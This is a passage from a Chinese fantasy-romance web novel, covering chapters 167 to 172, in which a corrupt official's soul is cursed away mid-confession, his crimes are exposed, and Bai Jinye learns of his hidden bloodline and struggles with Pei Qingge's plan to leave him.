沈易安沉默了半响,才重新开口道,“那也是我在那本古籍上看到的,用一种特殊的方法在乱葬岗上收集的,但不是所有的乱葬岗都会有,这么多年,我也就只收集了那一点,刚才已经全用了。” “那一点?”冷鸢冷哼一声,“普通人碰到死气,沾之即死,你收集的这些死气,若真想杀人,每次只放出来一丝,杀个万八千的不成问题。况且,收集死气极为危险,你能收集这么多还活着简直是奇迹!” “我费尽心机收集的死气,不是还是没有机会伤害你们?”沈易安看向冷鸢,“随便你们信不信吧,你们再怎么烧我,我也没有其他的答案了。” 冷鸢眯了眯眼,白锦夜是冥尸不怕死气,裴清歌若不是恢复了实力,那些死气也足以要她的命了。 也只能说沈易安运气不好,但凡换了别人,早就死在那死气之中了。 “那处乱葬岗和别处有什么不同?”裴清歌思索了下,问道。 沈易安抬眼看着她,“当时有一个刽子手死了,他没有家人,尸体就被人直接扔到了乱葬岗。不过他家往上十代都是刽子手,专处极刑,祖传一把凌迟刀。我在古籍上看到过,凌迟刀下凌迟的人不能超过一百个,凌迟到九十九个人,无论如何都要封刀,然后毁刀。” “这也是刽子手祖传下来的规矩,不过处以凌迟之刑的,本来就很少,若不是这家十代都是刽子手,再加上建朝之初,清理前朝欲孽之时判了不少极刑,也不可能凌迟这么多人。但传到了他那一代,他不信邪,本来应该封刀,他却还在继续用,凌迟完第一百零一个人的当天晚上,他就在家暴毙。” “我本来是去他家找那把刀的,但是没找到,于是就去了乱葬岗……你们一定想不到那把刀在哪。”他说着目光在面前的几人脸上扫过,停顿了好久,卖足了关子,才继续往下说,“那刀在他的肚子里,可是身上没有一块伤口,就好像是把那把刀硬生生的吞下去一样。” 楚星玄听到这,忍不住有点犯呕,脸上连着几丝鄙夷,“身上没有伤口,你还找到了这把刀,你可真是……”他想了好半天,都没想到一个合适的词汇来形容,但也几乎能想象那恶心的画面。 “你是怎么想到那刀会在他肚子里的?”白锦夜开口问道。 “我怎么能想到?”沈易安摇了摇头,“只是借着月光,我看到他肚子在丝丝地冒着黑气,他周围的草木一碰到那黑气,就瞬间枯萎,但黑气也飘不远,没多久就会消散在空中。我想这跟我在古籍上看到的死气描述很像,起初只想收集那死气,却没想到发现凌迟刀原来在他的肚子里。” 白锦夜冷笑一声,“你早就知道凌迟刀杀过一百个人会产生死气,恐怕不封刀的建议,是你跟那个刽子手提出来的吧?前几年先皇身体抱恙,这几年皇上无子,为积累功德早已下令让刑部谨慎批复极刑处决,朝廷至少已经有七年没有批准关于凌迟的处刑,所以后来那几例凌迟,都是你私自下令的是么?” 沈易安看着白锦夜,没有承认,但他的表情却已经给了白锦夜答案。 “那你到底是用什么方法收起死气的?”裴清歌眯起眼,她在圣殿看过那么多书,可都没见过有收集死气的办法。 “活人怕死气,但这世间自有规则,死气与空气相克,若不是大片的死气爆发出来,逐渐散发出来的死气,就会被空气克掉,不可能散出太远,就像是这世界在无形之中保护着活人。但死气也只能通过七窍钻入人体,想要收集,只要有办法隔绝死气,不让它从七窍进入就可以了。”沈易安解释道。 “这世上就没有什么东西能隔绝死气。”冷鸢拧着眉。 “没有?那是你不知道。”沈易安嗤笑了一声,“往往越是可怕的东西,克制它的东西就越常见,想要隔绝死气,只需要……” 他的话说到这,剩下的话还没说,就突然从他的胸腔里钻出一团黑色的火。 火势极大,可却感觉不到一点点温度。 裴清歌看到那火,猛地拽着身边的冷鸢往后退,退了一步才想起白锦夜,又抬手扯住了他。 三个人迅速地退到楚星玄的身边。 楚星玄的脸上也难得地闪过一抹凝重,他和裴清歌对视了一眼,显然也认出了那火的来历。 沈易安的魂魄瞬间被烧得一干二净,那火也就消失了。 虽然躲开,但裴清歌也还是一副心有余悸的样子,“看样子那老和尚早就知道他偷看了古籍,在他的灵魂上下了禁制,只要他提起有关秘法的内容,就会烧掉他的魂魄,防止古籍的内容外传。” 顿了顿,裴清歌才转头看向白锦夜,“沈易安是朝廷命官,就这样死了,定然有人追查。”她本来也没想直接弄死他,魂魄召出来,也还能塞回去,但如今,却是死的不能再死了。 白锦夜微皱了下眉,“无妨,我来处理。” “可惜还没有问那把凌迟刀在哪,留着也是个祸害。”裴清歌说完上前在沈易安的身上翻了翻,不过心里也清楚,那种东西,他肯定不会随身携带,“我去沈家找凌迟刀,阿鸢,你留在这,看着不要让人靠近,等那团死气散完了再离开。” 天快亮时,裴清歌才回了张府,凌迟刀在沈易安的书房被找到,她要尽快处理掉这刀,便径直回了房间。 沈易安的死讯很快传到了京城,一地府丞突然暴毙,皇上派了人来彻查。 白锦夜不宜露脸,只能由左辞出面。 来彻查的人,也不是别人,正是丞相黄维贤的长子黄恒之。 当时裴清歌解决了黄家的事,黄家感恩在心,但后来肃亲王府出了事,那处店铺也人去楼空。 如今见到左辞,少不了要寒暄一番。 那日沈易安是追着“张璟成夫妇”离开的,很多人都看见了,月舞楼的姑娘们也能作证,这一点隐瞒不了,左辞也就按照白锦夜交代的,沈易安酒后听闻张夫人有了身孕,似乎是想起自己有孕离世的妻子,好像把张夫人当成了自己的妻子,意图行不轨之事。 但追到树林里的时候,突然像是见了鬼一样,对着空气认错,说了不少愧对亡妻的话,然后不知怎么就倒地而亡。 张夫人受了惊吓,胎位不稳,张璟成带着人在城外的庄子休养,黄恒之要是想见,就去庄子见见。 黄恒之先是带着仵作验了尸,尸体上确实没有外伤。 他便要左辞带路去了城外的庄子,进门就见到白锦夜在堂上喝茶。 第168章 张家可有早夭的孩童? 看到这一幕,黄恒之就知道,什么也不用问了,沈易安若是对白锦夜的夫人起了不轨之心,那也只能说是死有余辜了。 之前黄维贤私下与他猜测,便说过肃亲王之死有蹊跷,恐怕是急流勇退了。 黄家一门忠良,忠于天风国,心里清楚肃亲王于江山社稷的贡献。 黄维贤自从知道肃亲王战死的消息后,一天到头都长吁短叹,说天风国这便是没了一半。 当然这话也只是私下说。 黄恒之对着堂上的白锦夜深鞠一躬,一句话没说,转身就走了。 左辞要出门去追,却被白锦夜拦住,“王爷,不用再交代几句?” “黄维贤父子都是明事理的人,跟他们不用多说什么。”白锦夜慢慢地喝着茶,“若是来的不是黄恒之,也不会让你带到这了。” 黄恒之的调查结果以“朝廷命官酒后失德,意图调戏有了身孕的良家妇女,但却突发疾病暴毙而亡”而告终,彻查之后,又发现沈易安曾违反规定,私自判处了六例凌迟之刑,以及把月舞楼的老板是沈易安的这件事也一同上报了朝廷。 朝廷命官按照律法是不准私自为经商的,但是依旧有不少人这么做,谨慎一点的,就不自己出面。 但远在外地,避讳就更少。 只要不出事就还好,出了事,这些便也都是罪状。 而且月舞楼虐待姑娘,虐死后的尸体直接用来泡酒泡茶这事黄恒之也一并公示了出来。 毕竟沈易安在复州六年,有不少党羽,又通过各种不为人知的手段迷惑着人的心智,自黄恒之到复州之后,不少人为沈易安说项,说他身体向来好得很,绝对不可能突发疾病,不相信这调查结果,甚至要告御状。 去过月舞楼的人众多,本来这种让人心里犯呕的事情是没必要对百姓公示出来的,但是就是因为太多人三番四次来找黄恒之,他只能公布出来。 这一下,去过月舞楼的人,和沈易安走得近的人,曾经觉得沈易安那“用他老家的秘法”酿出来的酒和泡出来的茶绝品美味的人,一下子都噤声了。 整个复州,连续几天都能听到有人呕吐的声音。 这其中也包括曾在月舞楼整夜饮酒听曲的左辞和楚星玄。 楚星玄在北冥国见识多,对这种事倒是不怎么避讳,但想一想也还是够恶心的。 裴清歌大概也清楚了关于花月舞和沈易安的事情的原委。 确实是花月舞一直纠缠沈易安,沈易安起初被这件事困扰,但是很快就开始利用花月舞的心思,让她帮自己办事。 他哄骗她去陪客,从而探听到不少秘密,把复州这里大大小小的官员全都捏在掌心,后来知道他妻子背叛他之后,又不断的暗示花月舞,他与妻子青梅竹马,是双方父母定下的婚事,他不可能休妻,除非他的妻子根本不存在。 花月舞也是在他的指引下,一步步完成“百女宴”上的所有事情。 最后他把花月舞关在石室里折磨,花月舞整个人都疯掉了,她幻想自己是沈易安的妻子,所以会产生绑在木架子上的那个人是自己、被一刀刀把肉切下来的人是自己的幻觉。 沈易安是个杀人诛心的人,每次虐待花月舞的时候,也告诉她自己从来都没有喜欢过她,一直都觉得她厌烦无比,无论他有没有妻子,都根本不可能娶她。 她开始憎恨沈易安,那怨气本就是她一日日积攒下的,在她死后,怨气更浓。 裴清歌超度她时,散了她身上的怨气,所有的事情也逐渐清晰。 花月舞悔恨痛哭,最后才说,沈易安亡妻的尸体就埋在那石室里面,希望裴清歌能帮忙把她的尸骨安葬好,她说沈易安的亡妻从来没有做过对不起沈易安的事,腹中的孩子也是沈易安的。 她本来以为自己有希望取而代之嫁给沈易安,但是他的妻子怀孕后,她就知道自己再也没有这个机会了。 她每日被沈易安要求陪着那些男人,又如何不知道这些男人的心思,她被别的男人碰过,沈易安又怎么还会娶她? 可她以前总是用各种理由安慰自己,直到沈易安的妻子怀孕,她彻底崩溃了。 她多希望自己是沈易安的妻子,怀了沈易安的孩子的人也是自己,而他的妻子才是每天去陪着别的男人的人。 她就设计让沈易安一次外出视察归家的时候,见到妻子跟别的男人拉扯,在沈易安问起她的时候,她又支支吾吾的的隐晦地说他不在家的时候,他妻子经常会这样。 沈易安本就是个疑心重的人,在她的有意安排下,他终于相信妻子背叛了他。 如今,花月舞幡然悔悟,想起当初在沈府,沈夫人对她和善,可她却为了一个心里根本没有她的男子铸下如此大错,悔不当初。 送走了花月舞的魂魄,裴清歌轻轻叹了口气。 “这天风国的男子,真是不值得托付终生。”冷鸢忍不住开口道。 裴清歌看了她一眼,知道她的话意有所指,轻笑了一声,“人性都是经不住考验的,和哪里的人没有区别。” 这事总归是告一段落,重新安葬了沈夫人的尸骨,张之极也知道了这宅子的事情,想到这事,他觉得晦气,于是迅速的张罗搬家。 白锦夜陪他看了几处房子,最后选了一处不太大的宅子。 选到这处宅子的时候,不用白锦夜明说,张之极就知道他是不打算留在复州的。 白锦夜也特地请裴清歌来宅子看了看,风水上也不错,于是就这么定了下来。 这处宅子的主人家刚刚搬走,走之前也把房屋打扫得很干净,简单收拾了下,张家便阖府搬了过来。 乔迁之日,张之极又开心又难过。 开心的是,在复州总算是安定下来,从此后他也不用操心那些世俗的事物,可以在故乡暗度晚年。 难过的是,他这边安定了下来,白锦夜就要离开了。 还剩下十天过年,他本想着白锦夜怎么也要过了年才走,可没想到他说要出去办事,事情比较急,不能再等了。 他不知道他会去哪,会做什么。 但山高路远,下次再见,不知道是什么时候了。 于是屏退了所有下人,没了外人,他就拉着白锦夜多喝了几杯。 等他喝到微醺之时,裴清歌也终于开口询问正事,“张老爷子,敢问张家可有早夭的孩童,又或者是活不过二十二岁的子孙?” 第169章 白锦夜的身世 张之极一听这话,登时就不开心了。 哪有直接问人家这种事的?他这外孙媳妇什么时候能说点让他开心的事? 白锦夜见张之极的脸色一板,便也赶紧开口,“外公,我们正在调查当年把圣湖水给你的人是谁,那人要害张家,也是有些缘由的。” “哦?”张之极脸色这才好了些,犹豫了许久,最终还是摇了摇头,“张家没有这样的子孙,若不是当年喝了那水,定然都能活得长久。” “你不用撒谎。”裴清歌又道,她说着扫了一眼白锦夜,“白锦夜就是这样的人,本来是不可能活得过二十二岁的。他这血脉又不是自己长出来的,张家肯定有和他一样的人。” “有你这么诅咒人的么?锦夜活得好好的,你身为他妻子,不盼着他好,就这么咒他?”张之极一下子又上头了。 裴清歌拧着眉,“张老爷子,你不能好好说话么?” “是我不好好说话还是你不好好说话?上来就早夭,就……就活不过二十二岁!”张之极气得脸都红了。 “外公。”白锦夜上前帮他顺了顺胸口,又道,“清歌想要弄清楚这件事,也是为了我,你知道什么,告诉我们吧。” 张之极非但没有消气,反倒把筷子摔在桌子上,“有什么好说的?娶妻要娶贤,以往也听说裴家嫡女是世家女子典范,没想到……没想到竟是这般!”说完站起身就要走。 “你不用故意把话题扯开。”裴清歌看着他的背影,“也不用装怒避开,你不想说,是因为牵扯到白锦夜的身世吧?先皇和张太妃都不是这样的血脉,只有他是,那就只能说明……” “别说了!”张之极突然出声打断裴清歌的话,身上的醉意也逐渐褪去。 这件事,其实白锦夜这些天,心里也早有过猜测,沉默了会,他才开口,“外公,肃亲王已经死了,身世如何,都没有那么重要了。” 张之极在原地站了半响,叹了口气,走过去关了门窗,才回到位置上坐好,他垂眼看着面前的酒杯,想了很久,轻轻地开了口,“我当年从军之时,曾遇到过一个八岁的孤儿,那时你大舅也是八岁,跟他同龄,见他可怜,我一时动了恻隐之心,把他带回了家。” “他性格孤僻,很少与人交谈,但唯独和你三姨母投缘。我便安排他和你大舅一起温书习武,他学什么都很快,尤其是在军事上,十二岁时沙盘推演,我就已经输给他了。这等可造之材,我当然也是尽心培养,他既和你三姨母亲近,我和你外婆便做主定了他们两个的婚事。” “一开始,两个人恩爱无比,婚后没多久,你三姨母就有了身孕。但是就在那不久之后,他突然变了性子,冷落你三姨母,往府里纳了一个又一个的妾,你三姨母一开始还以为能让他回心转意,但无论做什么,他都没有一丁点的变化。” “你三姨母一气之下,就回了娘家。你娘当时在宫里正得圣宠,却遭人陷害小产滑了胎,药性太烈,以后都不可能再有孕了。若是在后宫之中没有子嗣傍身,后半生定是极为凄凉,她只好继续假装怀孕。” “她与你三姨母……怀孕的月份大致相同,只能求到了你三姨母的头上。你三姨母在娘家住了几月,都不见你三姨夫来寻,又听说这些日子他还在往府里纳妾,她本就心灰意冷,就同意了你娘的请求。” 张之极说着叹了口气,“过了没多少日子,那些姬妾也纷纷生下了孩子,你三姨母便打算与他和离。可他却无论如何都不同意和离,因着这事,我也打过他一顿。虽然没有和离,但也断了往来。” “再后来只过了一年多,我记得清楚,那是他二十二岁生辰,他本也不记得自己的生辰,便把我遇到他的那天当做了生辰。那天他来了府上,我没让他进门,你三姨母也不见他,他在府门口跪了整整一天,第二天早上才离开。” “倒也没想到,那就是见他的最后一面,他生辰之后没几日就死了,这么说,他确实也没活过二十二岁。他两眼一闭倒好,可府上姬妾成群,女人孩子加一起四五十人,这四五十张嘴,可都是要吃粮的。” “有的女子不愿意守寡,扔下孩子就跑了,你三姨母终是心软,便回府去照料。只是那些孩子,都像是得了什么怪病,突然就会不吃不喝,大夫也看不出是什么毛病,一天天的虚弱,然后夭折,到最后就只剩下了一个孩子,你三姨母遣散了府里所有的人,带着仅剩的那一个孩子,去庵里出家了。” “我去看过她几次,但她也不见我,只说出家人断了尘缘,让我就当没有过这个女儿,至于那仅剩的一个孩子有没有活下来,我也不知道了。” 白锦夜放在膝盖上的手握成了拳头,等张之极说完,空气静默了半响,他才问,“这事,以前怎么从未听人提起过?” “那件事跟张家的事几乎同时发生,那些年,张家的人都在陆陆续续的死掉,所有人都认为张家受了什么诅咒或者是有什么怪病,自然也就把那件事认为是这其中的一部分。这又牵扯到你的身世,家里人也不能解释太多,久而久之,就都混到一起了。”张之极轻轻地摇了摇头。 “那时我带回了圣湖水,当时还以为圣湖水有强身健体驱除疾病的功效,你三姨母曾为了那些孩子来找我,想要分些圣湖水回去。可我带回来的圣湖水本就不多,你三姨母心软原谅他,但我对他满腹怨气,又怎么愿意把圣湖水分给他的那些孩子?你三姨母也因此生了气,她的那一份圣湖水,她也没喝,没想到也因此保了一命。” “所以我娘不记得我,不记得自己生过孩子,其实……也是真的。”白锦夜像是自言自语的低声道。 “锦夜……”张之极看着他,想要出声安慰。 “三姨母在哪里出家?”白锦夜打断了他开口问道。 “在雍州的琼华山。”张之极说着顿了顿,“我当年……就是在雍州剿匪,在琼华山的一个山洞里,发现了他。” 三个人又沉默了半响,最后白锦夜才问,“他叫什么?” 第170章 白锦夜,我们就到这了 张之极神色有些落寞,“我捡到他时,他除了说他家人都死了,他今年八岁以外,就什么都不说了,本来姓甚名谁,根本无从知晓,当时匪患甚多,像他这样父母双亡的孤儿不在少数,我也并没想过去查他的身世。回来之后,便跟了张家姓氏,叫张明彻。” “云销雨霁,彩彻区明,明彻。我本是希望他忘记过往的苦日子,雨过天晴,以后好好生活。” “或许,他本意并不是如此。”裴清歌开口道,“他说他的家人都死了,也就是说,他这支的血脉就只剩下他一个人。他大概知道自己命不久矣,又要传宗接代,延续血脉,纳妾生子恐怕是迫不得已。” 张之极皱了下眉,才问,“这血脉到底是怎么回事?为什么活不过二十二岁?那锦夜呢?锦夜今年就二十二了,他会不会……会不会……” 裴清歌摇了摇头,“你放心,他死不了。”说完想了会,才道,“这血脉的事,关乎到更大的秘密,知道了对你没什么好处。” 张之极眯了眯眼,“那你的意思,要么是他的家人都活不过二十二岁,他才会成为孤儿,又或者……有人即便能像锦夜一样活下来,也被人追杀灭口?当年,把圣湖水给我的人,就是追杀他的人是么?那些人知道他还有血脉尚存,想要以圣湖水一劳永逸?” 裴清歌点了点头,“那时他虽然死了,但你们相处多年,在你的身上也能感受到他的气息。”她说着顿了顿,况且国君又有办法控制相同血脉的人,定然也知道张明彻身边的人都有谁。 “若是我没有把他带回张家……”张之极顿了顿,又轻声笑道,“恐怕再给我一次机会,我在山洞里见到他,还是会把他带回家。” “虽然张家因此遭受无妄之灾,但是你确实救了更多的人。”裴清歌看着他道,“这支血脉关乎苍生,这世间百姓,都该谢谢你。” 张之极嗤笑一声,“自我从军以来,所作所为,便都不愧对百姓,我只是……愧对张家子孙,愧对张家列祖列宗。” 说到这,他摇了摇头,神情更加落寞。 白锦夜转头看向裴清歌,询问她是否还有什么问题了,裴清歌轻轻摇了摇头,他才重新看向张之极,“外公,天色不早了,我送你回房休息吧。” 张之极站起身,白锦夜便扶着他离开了。 他又在张之极的房里陪了他半响,等他睡了,才回了房。 裴清歌也还没休息,正坐在桌边,显然是在等他,在他的面前,放着一把一尺的短刀。 白锦夜看了看那刀,在一旁坐下,“这是沈易安的那把凌迟刀?” “嗯。”裴清歌点了点头,“本该毁了,但我想,这刀倒是可以送给你。” “送我?”白锦夜有些诧异。 “这刀杀气重,因为没有及时封刀,导致这刀有了灵气,只不过这灵气不善,有弑杀之心。但我想毁了它的时候,却发现那刽子手的魂魄被封印在了这刀里,竟和刀融为一体,成了刀魂。若是毁了,就可惜了。普通人拿着这刀,可能被蛊惑心智,弑杀嗜血,但你不怕。” 裴清歌说着顿了顿,继续道,“我这几天,也淬炼了这刀魂,把它以往的记忆封印,如今它就是一个极度纯净的刀魂。” 白锦夜闻言也拿起了刀,握在手上仔细看着。 “你不会术法,我也不可能一直教你,有这刀魂在你身边,很多事它都可以提醒你。我在刀上刻了几道阵法,它虽然不能像七杀斩一样可以破天下术法和法阵,但是对方的能力只要在我之下,这刀都可以帮你克掉。”裴清歌看着白锦夜,“所以,对方的能力若是在我之上,那我在与不在,都没什么区别,一样护不住你。” 白锦夜的手微顿,“你什么意思?” 裴清歌沉默了一下,“明日,我便带着阿鸢和楚星玄离开。” 白锦夜一怔,手指本就在刀刃上摩挲,一不小心,刀刃就在手指上割了一条细口,他本是没有在意,但却瞥到有红色的血珠渗了出来,“这刀……” 他立刻把手指伸到裴清歌的面前,冥尸本就会自愈,速度虽然慢,但细口本来也不大,即便这细口很快就不再流血,但挂在他指尖的血珠也说明了什么。 白锦夜欣喜,“你看,这世上除了七杀斩,果然还是有办法可以割开冥尸的皮肤的。” 裴清歌看着他的指尖,微微抿了下唇,“那你就好好保管这刀,若是被别人拿走,能杀你的人,就又多了一个。” 白锦夜嘴角的笑容淡去,半响后才开口,“你来复州,就是为了问清楚我的身世,沈易安的事,只是顺手,这凌迟刀也是意外所得。现在你都知道了,那你是要去琼华山吧?我知道我的身世,自然也要去琼华山,还是顺路不是么?” “那你走你的,我走我的。”裴清歌说着站起身,“白锦夜,我们就到这了。” “不行!”白锦夜抬手拉住她的手腕,“裴清歌,你不能说走就走。” “你还想怎么样?”裴清歌看着他,脸上没有什么多余表情,只像是在看着一个无理取闹的人。 “我……”白锦夜拧了拧眉,千言万语到了嘴边,却又不知道从何说起,他把刀放在桌上,站起身,出了门。 左辞刚睡下,就被白锦夜抓了出去喝酒。 坐在宅子后院的小凉亭里,左辞撑着下巴打着瞌睡,自从知道月舞楼的酒是加了料的以后,他最近都不想碰酒,于是就看着白锦夜自己喝。 瞌睡了半响,他终于回过味来,“少爷,你这是不开心么?” 白锦夜抬眼瞥了他一眼,没有说话。 左辞想,那确实是不开心的,毕竟都已经写脸上了,“有什么不开心的?你跟少夫人吵架了?” “有什么可吵的?”白锦夜轻笑一声,“在她眼里,我有什么值得让她动气吵架的。” 听听这话,就是单方面的心情不好了,“小两口吵架,床头吵床尾和,你这大半夜的跑出来喝酒,解决不了问题啊。” 白锦夜没说话。 左辞挠了挠头,他连心仪的人都没有,除了从道理上劝劝白锦夜,剩下的话都不知道怎么说,隔了好一会,他才又问,“你和夫人这几天不是挺好的么?出双入对同吃同住的,这不是比在王府那会关系近多了么?” 第171章 你动心了 白锦夜把酒碗往左辞面前一推,“你到底喝不喝,废什么话?” “不喝。”左辞把头摇得像拨浪鼓,“属下有阴影。”他说着也把酒碗推远,似乎连味道都不想闻到,“少爷,到底怎么回事,你说说,虽然属下也没什么经验,但两个人商量商量也比你一个人喝闷酒强是不是?” 沉默了好一会,白锦夜才低声道,“她想走。” “去哪?”左辞想了会,“不过少爷你现在也不用操心那么多事,夫人想去哪咱们就去哪呗,反正这复州呆着也没什么意思,正好换个地方。”他也想赶紧离开复州,走得远远的,也许就能忘了月舞楼的事了。 白锦夜摇了摇头,“她想自己走。” “啊?”左辞愣住,半响才道,“属下还说冷鸢那丫头这两天怎么这么开心,之前属下每次一叫少夫人,她都恨不得把属下的嘴缝上,这两天也不跟属下计较了,属下还以为她认命了呢,敢情是要走了!那少夫人……这就是要跟你和离啊?” “用得着和离么?”白锦夜哂笑,“我跟皇上求娶的是裴玲珑,我跟她没有拜堂,细究起来,一点关系都没有。” “怎么会没关系呢?”左辞有点急,脸色有些尴尬,但还是低声提醒,“你们不是……洞房了么?” 白锦夜皱了下眉头,抬手把碗里的酒一口喝光,“是啊,洞房。”而且那天归根结底,甚至都不是她,“但那天我和她都被人下了药,之后我误以为是她下的药,对她又不好,还有什么可提的?” “少爷你的意思是说,就只有那天?”左辞更急了,“但之前在王府的时候,有天晚上夫人不是在九思院睡得么?而且来了复州之后,你们不是都住在一起么?” 白锦夜没说话,只是又给自己倒了一碗酒。 左辞急得搓手,想起什么,又问,“很早的时候,在雅园,夫人不是要王妃的金册金印,要上玉碟么?别的不承认,那拿了金册金印,就是王妃了啊,既然是王妃,怎么能说走就走呢?” 白锦夜的手微微握了下拳,“我当时没给,后来给的时候,她就不要了。” “诶呀!”左辞急得一拍桌子,“属下还以为夫人那么尽心的救治张太妃,是你答应了她的条件,早就给了呢,那你说她之前救张太妃又救你,是图什么呢?” “可能就是路边的阿猫阿狗,她也会救吧。”白锦夜说完,又低头喝酒。 “这倒是,夫人是心善,之前开店的时候,就总是帮各种人。”左辞说着顿了下,“那上次整个王府出事,不会就是夫人的报复吧?” 白锦夜摇了摇头,“虽然我不清楚那次到底是因为什么,但报复倒不至于。”他说着抬眼看着左辞,“她做事有她的准则,并不掺杂什么感情。” “但相处了这么久,也不至于一点感情都没有吧?”左辞还是不太相信。 白锦夜想到那天在树林里,沈易安的灵魂被黑火燃烧的时候,裴清歌退开,同时拽上的是冷鸢,都退出去了一步,才想起拽他。 所以其实就像是之前裴清歌说的一样,在她的世界里,她在乎的人也就是她师父、鬼卿和冷鸢,其他人只要不做什么伤天害理的大事,她大概也不放在眼里。 他突然连喝酒的心思都没有了,只是垂眼看着酒碗,喃喃地道,“我倒是希望她恨我。” 如果因为她刚到王府时,他对她态度恶劣,她恨他,他也许也可以想办法弥补。 但偏偏,她对他连恨也好,厌恶也好,连这样负面的感情都没有。 左辞也不知道该说什么,隔了好一会,才低声道,“少爷,大婚第二日,你把裴玲珑送回了裴府,又进宫跟皇上禀明。那会提到夫人,你虽然满脸不开心的,但你说……事情发生了,不管起因如何,你都会负责,之后,你以为自己命不久矣的时候,每次安排后事,也都安排了夫人的事。” “那时候是因为责任,那现在呢?”左辞说着顿了顿,“新婚那天夫人也是被人算计被下了药,她既然现在要走,就证明这也不是她想要过的日子,如果是因为责任,是不是……也没必要勉强?以后夫人有夫人自己的生活,你也可以不必背负这责任,过自己的日子,也许对你们两个都好呢?” “是啊。”白锦夜脸上有几丝自嘲,“那时候是因为责任,我一直以为所有的事情我都可以控制,一切都在我的计划之内,就算我死了,后事也都安排妥当了。” “可偏偏出了一个她,我可以安排好你们的事情,等我死了,你们照样过你们的日子。但是……我的王妃呢?我该把她怎么办?” “事情脱离了掌控,偏偏她又不是安稳可以随便接受安排的性子,事情就逐渐朝着不可控制、无法预期的方向发展。想到安排她的事,我就很焦虑。” “我就想,她为什么那么不自爱,为什么做出这样的事,她以为这样做能做我的王妃,在盛京无人愿意娶她的时候,找到了一个看起来还不错的归宿,但其实是走上了一条不归路。” “以裴家的家世,就算她毁了容貌,是个瘸子,可也总能找到个宅心仁厚的普通人,跟她安安稳稳的过一世,起码能照顾她,对她好,她为什么非要选择我呢?” “明明自己做错了事,又好像我欠她一样,整日跟我讲条件。明明是她主动来招惹我,却又一副完全不把我放在眼里的模样,还敢说也一样讨厌我。” “这所有的负面情绪交叠在一起,那时候我想到她,就出奇的躁郁。” 虽然这些可能跟北冥国国君控制他有关系,但是如果他对裴清歌从没有过负面的情绪,北冥国国君不就没办法利用情绪来控制他了么? “后来呢?”左辞忍不住问道。 “后来有一段时间我认命了,我想既然已经这样了,除了接受还能怎么办?”白锦夜轻笑了一声,“反正我活不久,又何必跟她一般见识?她想做王妃就做,我活着的时候能照拂就照拂,我死了之后,能安排多久就安排多久,之后她要怎么样,我也管不着了。” “心态平和下来,又发现大婚那天的事情另有隐情之后……”他说到这,停了下来,就没再往下说。 “之后你发现王妃也挺好的,就动心了?”左辞把他的后半句话说了出来。 第172章 冥尸是不会醉酒的 白锦夜沉默了一会,没有不承认,“但我还是觉得自己既然活不久,得离她远点。” 左辞轻轻叹了口气,所以有么一段,白锦夜对于身后事的安排改了又改,但每次改的,都是跟裴清歌相关的,他总是怕安排得不够妥帖。 有两次还说裴清歌的事似乎也不用他安排,没有他裴清歌也一样能活得好好的。可话虽然这么说,他也还是仔仔细细的交代,生怕有什么疏漏。 “少爷,这些话,你跟夫人说过么?”左辞又问。 白锦夜摇了摇头,“左辞,她……”他说着迟疑了会,半响才改口道,“她心里没我,也不厌恶我,对她来说,我和你、和司空、和大街上任何一个人来说,没有任何区别。” “但你若是真的说了,夫人不可能一点触动都没有吧?”左辞皱了皱眉,“你不说,就什么都没有,你说了,万一她就留下了呢?” “她跟我说的很清楚了。”白锦夜叹了一口气,“就这样吧,她想走就走吧。” “少爷,你不能就这么放弃啊。”左辞也不知道该怎么说,干脆给自己倒了一碗酒,喝干了之后才道,“夫人要走,你又不留,那不是彻底的结束了么?你要是真想跟她在一起,就豁出去一把,求她留下来啊,你要是拉不下脸,属下拉得下来,属下去求。” 白锦夜捏着手里的酒碗,最终还是说,“她修习的术法,让她没有七情六欲,跟我能不能拉下脸没有关系,跟谁去求她也没关系。” “不可能!”左辞摇了摇头,“人不可能没有七情六欲,阿猫阿狗一匹马一头牛养的久了都有感情,人怎么可能没有?那鬼卿呢?冷鸢呢?她若是没有七情六欲,她怎么……她怎么当初见到鬼卿的时候那么激动?” “说是他们认识得早,那会她还没开始修习术法。”白锦夜低声道。 “所以啊,她还是有感情的,可能……只是修习术法的时候,太专注了,或者……”左辞挠着头,“或者就是……就是……像那些尼姑和尚道士一样,太清心寡欲了,可绝对不可能没有。” 他绞尽脑汁,憋了很久,最后才说,“要是真的没有七情六欲,属下觉得她也不应该有什么善心,有善心的人不可能没有感情。”说完他又给自己肯定了一下,“对,就是这样。” 白锦夜抬眼看他。 “再说,当时王府出事后,夫人本来可以一走了之的,但是她不还是留在月城处理枯尸的事么?夫人要真是没有七情六欲,那也不该有悲悯之情,她可是北冥国人,天风国月城百姓的死与活,华擎和倪徵还有军中将士的安危跟她有什么关系?”左辞继续道,“反正属下不信。” “你什么时候开窍的?”白锦夜的脸上终于露出了一丝真正的笑意。 “这就是当局者迷旁观者清,你关心则乱,属下都是瞎说的。”左辞干笑了两声,“夫人于少爷你,于张太妃,于月城和栎阳的百姓,于华擎倪徵还有咱们军中那么多一起出生入死的兄弟,都有救命之恩,属下当然是希望少爷和夫人能好好的在一起。” 白锦夜站起身,转身要走,顿了顿,又转回来,把碗里的酒喝光,甚至还把酒坛里的酒往身上洒了些,随即一身酒气的往回走。 左辞当时脑子里就冒出一句话——酒壮怂人胆,王爷在王妃面前也太怂了点吧? * 裴清歌以为白锦夜不会回来了,本来都已经快睡着了,却突然听到门被推开,属于冥尸特有的气息也跟着到了。 这中间,又掺杂着酒气。 不过反正白锦夜不在床上睡,她也没在意,翻了个身,刚闭上眼睛,就听着脚步不是往软塌那边走,而是往床边来。 她立刻坐起来,床幔也被人撩开。 房间里漆黑,虽然有月光透过窗子照进来,但也被厚重的床幔遮住了。 裴清歌听着白锦夜蹬掉了靴子,眯眼瞪着他的身影,“白锦夜,你走错地方了。” “哪里错了?”白锦夜转过身,伸手要抱她,“这是我的房间,你是我娶进门的女人,哪里错了?” 裴清歌捏住他的手腕,“你别在这耍混。” 白锦夜手腕被她捏得生疼,就顺着力道往前倒去,直接靠在了裴清歌的身上,一副喝醉了的模样,“我头好疼。” “起来。”裴清歌的声音冷了几分。 “我刚刚跟左辞喝了点酒,现在头晕得厉害,想睡了,我们睡吧。”白锦夜有些口齿不清地道。 “去软塌上睡。”裴清歌拧着眉。 白锦夜不动。 裴清歌不想跟他一般见识见识,便起身自己要去软塌上。 白锦夜赶紧伸手搂住她的腰,“软塌一点都不软,睡得难受死了。” 裴清歌忍了忍,才压着怒气道,“这几天左辞滴酒不碰,你别装了,有什么话直说。” “他没喝。”白锦夜嘀咕一声,“所以酒都让我喝了。” 裴清歌侧头看他,隔了半响才道,“白锦夜,冥尸是不会醉酒的。” 